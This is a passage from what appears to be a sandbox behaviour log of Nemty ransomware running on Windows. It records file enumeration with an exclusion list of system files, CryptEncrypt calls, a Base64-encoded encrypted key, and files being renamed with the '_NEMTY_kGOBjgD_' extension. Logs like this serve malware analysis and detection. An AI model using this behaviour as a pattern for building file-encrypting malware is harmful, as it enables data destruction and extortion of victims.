lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.569] CloseHandle (hObject=0xffffffff) returned 0 [0168.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0168.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0168.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_snow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_snow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_snow.png._nemty_kgobjgd_")) returned 0 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.570] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f7f4e7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f7f4e7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36735913, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8f5e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_blue_sun.png", cAlternateFileName="")) returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2=".") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="..") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="...") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="windows") returned -1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="$RECYCLE.BIN") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="rsa") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="NTDETECT.COM") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="ntldr") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="MSDOS.SYS") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="IO.SYS") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="boot.ini") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="boot.ini") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="ntuser.dat") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="desktop.ini") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="CONFIG.SYS") returned 1 [0168.570] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="RECYCLER") returned 1 [0168.571] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="BOOTSECT.BAK") returned 1 [0168.571] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="bootmgr") returned 1 [0168.571] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="programdata") returned 1 [0168.571] lstrcmpiW (lpString1="undocked_blue_sun.png", lpString2="appdata") returned 1 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_sun.png", lpUsedDefaultChar=0x0) returned 21 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_sun.png", lpUsedDefaultChar=0x0) returned 21 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_sun.png", lpUsedDefaultChar=0x0) returned 21 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_sun.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_sun.png", lpUsedDefaultChar=0x0) returned 21 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0168.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0168.571] Sleep (dwMilliseconds=0x5) [0168.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x181f8ef0, dwHighDateTime=0x1d561e8)) [0168.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x181f8ef0, dwHighDateTime=0x1d561e8)) [0168.572] GetLastError () returned 0x5 [0168.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.572] GetLastError () returned 0x5 [0168.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0168.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="WOSwcLMlPTJETBEEEnaQNhe2GbjbBmiUTKIQ+5/Ezx2rmCXLKEnZDjCYn2nuMHg9\r\nNcT/DFukWsUdCsFPPtwD3ASxY2Ell49pFSemfgy/7QlhGQyXrVEfqnbH1HYuAsDs\r\niuK4UZYG2fW9tp8IPk7L8AUJIMOqDMHEXOc/ythsBqEg+gohtXH6qnnhD+cQ0PSM\r\niPn3xYEQ23EU1Q6p7yv/7D9LunRVTV+K7CSGfqCkgodkhft31S65BF71LrpyB3OW\r\nyKjwGXX0/eZpBNM7pgmetLgXsZ/ARkJL9iQLMpkF1LRwkvI72BvhXP1WyWQA5fsz\r\nVoo63uJrM4bLsG81SS7+Fg==\r\n", pcchString=0x653e91c) returned 1 [0168.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0168.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.573] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_sun.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_sun.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.573] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 